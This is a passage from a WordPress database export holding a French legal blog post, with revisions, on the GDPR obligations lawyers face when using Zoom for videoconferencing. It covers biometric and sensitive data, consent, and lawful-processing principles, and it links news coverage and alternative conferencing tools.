responsabilité&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.secureworldexpo.com/industry-news/zoom-sued-over-privacy-announces-cybersecurity-upgrades\">Zoom Sued Over Privacy, Announces Cybersecurity Upgrades</a></em></li><li><em>The Facebook API kerfuffle resulted in a&nbsp;<a rel=\"noreferrer noopener\" href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\" target=\"_blank\">lawsuit</a>&nbsp;[PDF], filed on Monday in California. The plaintiff in this case, Robert Cullen of Sacramento, California, <a href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\">The Register.</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Brittany Roush, Director at the Crypsis Group, said</a> : \"that having that kind of flexibility to ensure that critical services can carry on, especially in a crisis, does not take the teeth from the CCPA and GDPR. If anything, it demonstrates that the regulatory bodies are carrying out their essential function -- which is to ensure that companies protect consumer data... In many ways, the CCPA and GDPR should take a page from HIPAA, which lowered security standards for telehealth in order to manage the critical healthcare demands of the pandemic... we do not have the luxury of time on our side to devise perfect solutions.</em></li><li><a href=\"https://www.securityweek.com/zoom-credentials-database-available-dark-web?\">Zoom Credentials Database Available on Dark Web</a></li><li><a href=\"http:// https://www.techradar.com/uk/news/zoom-banned-for-official-use-in-taiwan\">Germany bans Zoom for official use</a></li><li><a href=\"https://medium.com/a-change-is-coming/what-zoom-can-learn-from-microsoft-aec876b79968\">Lessons from the Past: What Zoom can learn from Microsoft</a></li><li><a href=\"https://uk.reuters.com/article/uk-spacex-zoom-video-commn/elon-musks-spacex-bans-zoom-over-privacy-concerns-memo-idUKKBN21J71J\">Elon Musk\'s SpaceX bans Zoom over privacy concerns - memo</a></li><li><a href=\"https://www.nextinpact.com/news/108877-la-direction-interministerielle-numerique-deconseille-fortement-application-zoom.htm\">La Direction interministérielle du numérique « déconseille fortement » l\'application Zoom</a></li><li><a href=\"https://www.macg.co/logiciels/2020/04/de-plus-en-plus-deconseille-zoom-fait-appel-lancien-chef-de-la-securite-de-facebook-113193\">De plus en plus déconseillé, Zoom fait appel à l\'ancien chef de la sécurité de Facebook&nbsp;</a></li><li><a href=\"https://www.forbes.com/sites/moorinsights/2020/04/03/why-most-should-avoid-the-out-of-control-zoom-right-now/\">Why Most Should Avoid An ‘Out Of Control’ Zoom Right Now</a></li><li><a href=\"https://www.techrepublic.com/article/dark-web-cybercriminals-sell-half-a-million-zoom-accounts/\">Dark web: Cybercriminals sell over 500,000 Zoom accounts</a></li><li><a href=\"https://www.securityweek.com/zoom-credentials-database-available-dark-web?\">Zoom Credentials Database Available on Dark Web</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>Ainsi en conclusion, il est impératif de bien évaluer les incidences du choix d\'une technologie sur la protection des données. Un avocat manipulant des données sensibles qui lui sont confiées ou du fait de sa mission, est tenu à la plus grande vigilance. L\'analyse d\'impact s\'impose. En son absence, la mise en cause de la responsabilité est à craindre.</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Quels sont les solutions alternatives ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Zoom alternatives :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://jitsi.org/jitsi-meet/\">Jitsi</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.tixeo.com/\">Tixeo</a> recommende par l’ANSSI</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bigbluebutton.org/\">BigBlueButton</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.visio-avocats.com/\">Visio-avocats</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pages.bluejeans.com/video-conferencing-trial.html?utm_source=google&amp;utm_medium=cpc&amp;personsource=paid_search&amp;utm_content=TrialLP&amp;utm_term=%2Bbluejeans%20%2Bconference&amp;utm_campaign=EMEA%20-%20Branded%20General&amp;utm_adgroup=EMEA%20-%20Branded%20General%20-%20BlueJeans%20Business\">BlueJeans</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.skype.com/en/\">Skype</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.gotomeeting.com/en-gb/lp/easy-online-meetings?cid=g2m_emea_ggs_cpc_brand_gotomeeting_e\">GotoMeeting</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://products.office.com/en-gb/microsoft-teams/group-chat-software\">Teams</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cisco.com/c/en_uk/solutions/collaboration/working-from-home.html?dtid=pseggl000183&amp;oid=trlco020841&amp;ccid=cc000703&amp;gclsrc=ds&amp;gclsrc=ds\">Webex</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":651,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/Screenshot-2020-04-07-at-22.39.46.png\" alt=\"\" class=\"wp-image-651\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bit.ly/2yoXVIG\">Ta</a><a href=\"https://noyb.eu/sites/default/files/2020-04/noyb_-_report_on_privacy_policies_of_video_conferencing_tools_2020-04-02_0.pdf\">bleau Comparatif NOYB</a><a href=\"https://bit.ly/2yoXVIG\">&nbsp;&nbsp;-&nbsp;&nbsp;Pour&nbsp;la&nbsp;version&nbsp;avec&nbsp;liens&nbsp;actifs,&nbsp;&nbsp;</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autre <a href=\"https://bit.ly/2wLRJKs\">tableau comparatif produit par l\'Autorité de protection des données</a> <a href=\"https://autoriteitpersoonsgegevens.nl/sites/default/files/atoms/files/keuzehulp_privacy_videobellen.pdf\">Hollandaise</a> traduit par<a href=\"https://twitter.com/PiracyByDesign\"> Christopher SCHMIDT Data Privacy Specialist • Magister of Law&nbsp;CIPP⁄E CIPM CIPT CBSA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":671} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/TAB1-725x1024.png\" alt=\"\" class=\"wp-image-671\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>CONTINUEZ A MAINTENIR L\'ALERTE EN SUIVANT LE COMPTE <a href=\"http://www.pearltrees.com/privacyday/zoom-video-conferencing/id31172465\">PEARLTREES</a> SUR LEQUEL SONT REGROUPÉS LES DERNIERES NEWS ET ARTICLE SUR CE SUJET.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Si vous teniez malgré tout à continuer à utiliser cette application, voici des conseils sur comment utiliser Zoom avec plus de sécurité :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<em><a href=\"/www.holgernilspohl.com/blog/how-to-keep-you-virtual-zoom-meetings-safe\">How\nto keep your Virtual (Zoom) Meetings safe</a></em><em>:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Data Protection Tips for Video-conferencing. By the </em><em><a href=\"https://www.linkedin.com/company/data-protection-commissioner-of-ireland/\"><strong>Data Protection Commission\nIreland</strong></a>. In light of the recent\nincrease in remote working, necessitated by COVID-19 mitigation measures, as\nwell as the increased numbers keeping in touch online with friends and family,\nthe number of people video-conferencing and video-calling has increased\ndramatically. This has also resulted in people using apps and services which\nthey might not have used before, or are now using for different reasons – i.e. using\nan app they usually use for personal purposes now for work purposes or vice\nversa. Concerns have been raised about how to use these technologies to keep in\ntouch with colleagues and loved ones in a way that is safe and secure, and\nensures an adequate standard of data protection. Here are some tips to help\nboth individuals and organisations (such as employers who might introduce new\nor increased videoconferencing arrangements for employees) use these services\nin a safe manner: <a href=\"https://lnkd.in/e8mpd8n\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/e8mpd8n</strong></a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</p>\n<!-- /wp:paragraph -->','Zoom Visio-conférence Pour Les Juristes','Il est impératif de bien évaluer les incidences du choix d\'une technologie sur la protection des données. Un avocat manipulant des données sensibles qui lui sont confiées ou du fait de sa mission, est tenu à la plus grande vigilance. L\'analyse d\'impact s\'impose. En son absence, la mise en cause de la responsabilité est à craindre.','publish','closed','closed','','601','','','2020-04-17 19:12:27','2020-04-17 18:12:27','',0,'http://datarainbow.eu/?p=601',0,'post','',0),(602,5,'2020-04-07 18:01:56','2020-04-07 17:01:56','<!-- wp:paragraph -->\n<p><strong>Regard sur les nombreuses considérations avant l’utilisation d’un mode de visio-conférence</strong>..</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Analysons les principales conséquences juridiques liées à l’utilisation de l’application de<br>vidéo-conférence gratuite Zoom &nbsp;devenue très<br>populaire qui est passée de 20 à 200 million d’utilisateurs en l’espace de<br>quelques jours, propulsée par les besoins du confinement et télétravail imposés<br>par la pandémique du Covid-19 mais qui nécessitent pour autant l’exploitation de données réglementées..</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout d’abord, de manière schématique, quatre catégories de données sont concernées concernées avec partage plus ou moins volontaire&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données des organisateurs,</li><li>Les données des invités,</li><li>Les données des tiers mentionnés durant la visio-conférence,</li><li>Les données concernant les mineurs.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Parmi&nbsp;elles, deux catégories de données :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles répondent à la définition relativement large de l’<strong>art. 4 </strong>[_<a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\" target=\"_blank\" rel=\"noreferrer noopener\">RGPD04</a>_].</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Les données dites de catégorie spéciale ou données sensibles, qui en principe ne doivent pas être traitées sauf exception. Le traitement de ces données sont strictement encadrés car sujet à une protection accrue telle que définie à l’<strong>art. 9</strong> [_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\" target=\"_blank\" rel=\"noreferrer noopener\">RGPD09</a>_].</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les données biométriques et autres données de caractère spécial traitées à l’occasion de l’utilisation des vidéos</p>\n<!-- /wp:paragraph -->','','','inherit','closed','closed','','601-revision-v1','','','2020-04-07 18:01:56','2020-04-07 17:01:56','',601,'https://datarainbow.eu/2020/04/07/601-revision-v1/',0,'revision','',0),(603,5,'2020-04-07 20:49:25','2020-04-07 19:49:25','{{unknown}}','','','publish','closed','closed','','66c81a141b041033b148c3ca59f4b5f5','','','2020-04-07 20:49:25','2020-04-07 19:49:25','',0,'https://datarainbow.eu/2020/04/07/66c81a141b041033b148c3ca59f4b5f5/',0,'oembed_cache','',0),(605,5,'2020-04-07 20:55:04','2020-04-07 19:55:04','<!-- wp:paragraph -->\n<p><strong>Regard Sur Les Nombreuses Considérations Avant L’utilisation D’un Mode De Visio-Conférence</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Analysons\nles principales conséquences juridiques liées à l’utilisation de l’application de\nvidéo-conférence gratuite Zoom devenue très populaire qui est passée de 20 à\n200 millions d’utilisateurs en l’espace de quelques jours, propulsée par les\nbesoins du confinement et télétravail imposés par la pandémique du Covid-19.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout\nd’abord, de manière schématique, quatre catégories de données sont concernées\navec partage plus ou moins volontaire&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données des organisateurs, </li><li>Les données des invités,</li><li>Les données des tiers mentionnés durant la visio-conférence,</li><li>Les données concernant les mineurs.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Parmi elles, deux catégories de données\n:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles répondent à la définition relativement large de <strong>l’art.\n4</strong> [_<a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\">RGPD04</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Les données dites de catégorie spéciale ou données sensibles, qui en\nprincipe ne doivent pas être traitées sauf exception. Le traitement de ces données\nsont strictement encadrés car sujet à une protection accrue telle que définie à\n<strong>l’art. 9</strong> [_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Les données biométriques\net autres données de caractère spéciale traitées à l’occasion de l’utilisation\ndes vidéo-conférences.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Les données traitées\npar un enregistrement vidéo peuvent-être considérées comme des données ‘biométriques’\nlorsque les images peuvent en être détournées pour être utilisables à fin d’identification\ndes personnes.<strong></strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><strong>Selon la\nJurisprudence de la Cour Européenne de Justice, C-101/01 (6 novembre 2003)&nbsp;:</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Données personnelles</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'opération consistant\nà faire référence, sur une page Internet, à diverses personnes et à les\nidentifier soit par leur nom, soit par d\'autres moyens, par exemple leur numéro\nde téléphone ou des informations relatives à leurs conditions de travail et à\nleurs passe-temps, constitue un «traitement de données à caractère personnel,\nautomatisé en tout ou en partie,» au sens de l\'article&nbsp;3,\nparagraphe&nbsp;1, de la directive 95/46 /CE du Parlement européen et du\nConseil, du 24 octobre 1995, relative à la protection des personnes physiques à\nl\'égard du traitement des données à caractère personnel et à la libre\ncirculation de ces données .”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles de catégories spéciales\nou sensitives.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'indication\ndu fait qu\'une personne s\'est blessée au pied et est en congé de maladie\npartiel constitue une donnée à caractère personnel relative à la santé au sens\nde l\'article&nbsp;8, paragraphe&nbsp;1, de la directive 95/46.&nbsp;»</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cet arrêt a été rendu en application\nde la Directive, antérieure à l’entrée en vigueur du RGDP mais reste applicable.\nLes données précédemment notamment de santé, répertoriées comme des données\n‘sensibles’, sont désormais des données de catégorie spéciale <strong>art 9</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\" target=\"_blank\" rel=\"noreferrer noopener\">RGPD09</a>_]</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint a été rappelé par une décision récente du <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">Conseil\nd’Etat en date du 27 Février 2020</a> concernant la reconnaissance faciale dans\nles écoles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Selon le CE&nbsp;: <em>(51)\n</em><em>Les données à caractère personnel qui sont, par\nnature, particulièrement sensibles du point de vue des libertés et des droits\nfondamentaux méritent une protection spécifique, car le contexte dans lequel\nelles sont traitées pourrait engendrer des risques importants pour ces libertés\net droits. Ces données à caractère personnel devraient comprendre les données à\ncaractère personnel qui révèlent l\'origine raciale ou ethnique, étant entendu\nque l\'utilisation de l\'expression «origine raciale» dans le présent règlement\nn\'implique pas que l\'Union adhère à des théories tendant à établir l\'existence\nde races humaines distinctes. Le traitement des photographies ne devrait pas\nsystématiquement être considéré comme constituant un traitement de catégories\nparticulières de données à caractère personnel, étant donné que celles-ci <strong>ne\nrelèvent de la définition de données biométriques que lorsqu\'elles sont\ntraitées selon un mode technique spécifique permettant l\'identification ou\nl\'authentification unique d\'une personne physique</strong>. De telles données à\ncaractère personnel ne devraient pas faire l\'objet d\'un traitement, à moins que\ncelui-ci ne soit autorisé dans des cas spécifiques prévus par le présent\nrèglement, compte tenu du fait que le droit d\'un État membre peut prévoir des\ndispositions spécifiques relatives à la protection des données visant à adapter\nl\'application des règles du présent règlement en vue de respecter une\nobligation légale ou pour l\'exécution d\'une mission d\'intérêt public ou\nrelevant de l\'exercice de l\'autorité publique dont est investi le responsable\ndu traitement. Outre les exigences spécifiques applicables à ce traitement, les\nprincipes généraux et les autres règles du présent règlement devraient s\'appliquer,\nen particulier en ce qui concerne les conditions de licéité du traitement. Des\ndérogations à l\'interdiction générale de traiter ces catégories particulières\nde données à caractère personnel devraient être explicitement prévues, entre\nautres lorsque la personne concernée donne son <strong>consentement explicite ou\npour répondre à des besoins spécifiques, en particulier lorsque le traitement\nest effectué dans le cadre d\'activités légitimes de certaines associations ou\nfondations ayant pour objet de permettre l\'exercice des libertés fondamentales.</strong></em><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nGrande Bretagne : <a href=\"https://uk.practicallaw.thomsonreuters.com/D-014-7572?transitionType=Default&amp;contextData=(sc.Default)&amp;firstPage=true&amp;bhcp=1\">Murray\nv Big Picture</a> §80 </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il\nest dès lors permis de considérer que les images traitées à l’occasion d’une visio-conférence\nrentrent dans le cadre des données biométriques. La possibilité d’éventuels\ntests de reconnaissance faciale n’est pas inclus. De plus, des utilisateurs ne révélant\npas leur identité en utilisant des pseudonymes peuvent être identifiés par la\ndivulgation de leur image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Par\nconséquent, les images ou vidéos, identifiant les participants en fonction de leur\nappartenance raciale, ethnique, religieuse, philosophique ou syndicale sont à considérer\ncomme entrant dans la catégorie des données à caractère spéciale. De même,\nrentrent dans la catégorie des données spéciales celles ayant trait à l’état de\nsanté ou les données des enfants mineurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Voire\nla recommandation de la <a href=\"https://www.cnil.fr/sites/default/files/atoms/files/reconnaissance_faciale.pdf\">CNIL</a>\nen matière de Reconnaissance faciale et <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">l’arrêt récent du conseil d’Etat du 27 février\n2020</a>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Respect des principes de licéité art. 5 <a>[_</a><a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_]\n</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les\ndonnées doivent être collectées doivent répondre aux exigences de licéité énumérées\nà <strong>l’art 5</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_].</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Les données à caractère personnel\ndoivent être :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) <em>traitées\nde manière licite, loyale et transparente au regard de la personne concernée (<strong>licéité,\nloyauté, transparence</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un privacy notice doit être produit définissant\nla base légale de traitement et garantissant les obligations de transparences définies\ndans l’article 13, comme explicité plus en avant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>b) collectées\npour des finalités déterminées, explicites et légitimes, et ne pas être\ntraitées ultérieurement d\'une manière incompatible avec ces finalités ; le\ntraitement ultérieur à des fins archivistiques dans l\'intérêt public, à des\nfins de recherche scientifique ou historique ou à des fins statistiques n\'est\npas considéré, conformément à l\'article 89, paragraphe 1, comme incompatible\navec les finalités initiales (<strong>limitation des finalités</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout enregistrement de la vidéo-conférence\net ses utilisations ultérieures doivent être notifiés aux participants et ses\nbases légales justifiées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>c)\nadéquates, pertinentes et limitées à ce qui est nécessaire au regard des\nfinalités pour lesquelles elles sont traitées (<strong>minimisation des données</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données collectées doivent être réduites\nau stricte nécessaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>d) exactes\net, si nécessaire, tenues à jour; toutes les mesures raisonnables doivent être\nprises pour que les données à caractère personnel qui sont inexactes, eu égard\naux finalités pour lesquelles elles sont traitées, soient effacées ou rectifiées\nsans tarder (<strong>exactitude</strong></em>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si des données sont conservées, elles\nseront soumises à l’obligation de mise à jour pour respecter l’exactitude des\ninformations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e) <em>conservées\nsous une forme permettant l\'identification des personnes concernées pendant une\ndurée n\'excédant pas celle nécessaire au regard des finalités pour lesquelles\nelles sont traitées; les données à caractère personnel peuvent être conservées\npour des durées plus longues dans la mesure où elles seront traitées exclusivement\nà des fins archivistiques dans l\'intérêt public, à des fins de recherche\nscientifique ou historique ou à des fins statistiques conformément à l\'article\n89, paragraphe 1, pour autant que soient mises en oeuvre les mesures techniques\net organisationnelles appropriées requises par le présent règlement afin de\ngarantir les droits et libertés de la personne concernée <strong>(limitation de la\nconservation</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La durée de conservation doit être définie\net communiquée aux intervenants. Les enregistrements, s’ils existent, ne\npeuvent dépasser le délai fixé. Les archivages devant mettre au point des accès\nlimités et sécurisés lorsqu’ils ne sont plus justifiés.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>f) traitées de\nfaçon à garantir une sécurité appropriée des données à caractère personnel, y\ncompris la protection contre le traitement non autorisé ou illicite et contre\nla perte, la destruction ou les dégâts d\'origine accidentelle, à l\'aide de\nmesures techniques ou organisationnelles appropriées (<strong>intégrité et\nconfidentialité</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La sécurité des vidéo-conférences et de leurs\nenregistrements ou accès ultérieurs sont l’affaire de l’organisateur qui doit s’assurer\nque le prestataire de service rempli bien sa mission conformément aux\nobligations du RGDP. Ceci inclus la transmission par voie d’encryptage excluant\nles transferts vers des pays tiers ne représentant pas une protection adéquate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Le\nresponsable du traitement est responsable du respect du paragraphe 1 et est en\nmesure de démontrer que celui-ci est respecté (<strong>responsabilité</strong>).</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint est très important car comme exposé infra, la responsabilité de l’organisateur\nde la vidéo-surveillance peut être engagée pour non-respect du règlement ou accès\nnon autorisé aux données personnelles, ‘distress’ ou perte de contrôle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La détermination de la finalité du traitement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout\ntraitement de données doit répondre à une finalité légitime telle qu’énumérée à\nl’<strong>art. 6</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>[_</strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong>RGPD06</strong></a><strong>_] </strong>En matière de visio-conférence, le\ntraitement pourra être, soit considéré comme relevant d’un intérêt légitime –\navec nécessité de procéder aux tests en trois parties – soit une demande de\nconsentement préalable sera indispensable. Le motif de traitement devra être\nconsigné par le contrôleur le cas échéant sur son registre des traitements <strong>art.\n30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_] et mentionné dans le privacy\nnotice. Il faut rappeler qu’en matière de consentement, celui-ci peut être retranché\nà tout moment avec le risque d’invalider la licéité de tout enregistrement\nconservé.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sur le consentement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le <strong>paragraphe 11) de</strong> <strong>l’Art 4 [_</strong><a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\"><strong>RGPD04</strong></a><strong>_]</strong> définit le consentement comme <em>« toute manifestation de volonté, <strong>libre,\nspécifique, éclairé et univoque</strong> par laquelle la personne concernée accepte,\npar une déclaration ou par un <strong>acte positif clair</strong>, que des données à\ncaractère personnel la concernant fassent l’objet d’un traitement</em> ». </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En outre, <strong>l’art. 7 [_</strong><a href=\"https://awallon.com:15001/d/s/546473823059358010/dF8swi-ycXEJOythcYdwoZ1jGi52TLmI-hr9AuXuplgc_\"><strong>RGPD07</strong></a><strong>_]</strong>, relatif aux conditions applicables au consentement, dispose : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>« <em>1. Dans les cas où le\ntraitement repose sur le consentement, le responsable du traitement est en\nmesure de démontrer que la personne concernée a donné son consentement au\ntraitement de données à caractère personnel la concernant. &nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Si le consentement de\nla personne concernée est donné dans le cadre d\'une déclaration écrite qui\nconcerne également d\'autres questions, la demande de consentement est présentée\nsous une forme qui la distingue clairement de ces autres questions, sous une\nforme compréhensible et aisément accessible, et formulée en des termes clairs\net simples. Aucune partie de cette déclaration qui constitue une violation du\nprésent règlement n\'est contraignante. / (…) Au moment de déterminer si le\nconsentement est donné librement, il y a lieu de tenir le plus grand compte de\nla question de savoir, entre autres, si l\'exécution d\'un contrat, y compris la\nfourniture d\'un service, est subordonnée au consentement au traitement de\ndonnées à caractère personnel qui n\'est pas nécessaire à l\'exécution dudit contrat.</em> ».</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Un consentement explicite, et informé, est requis des participants à la vidéo-conférence\nlorsque les données sont 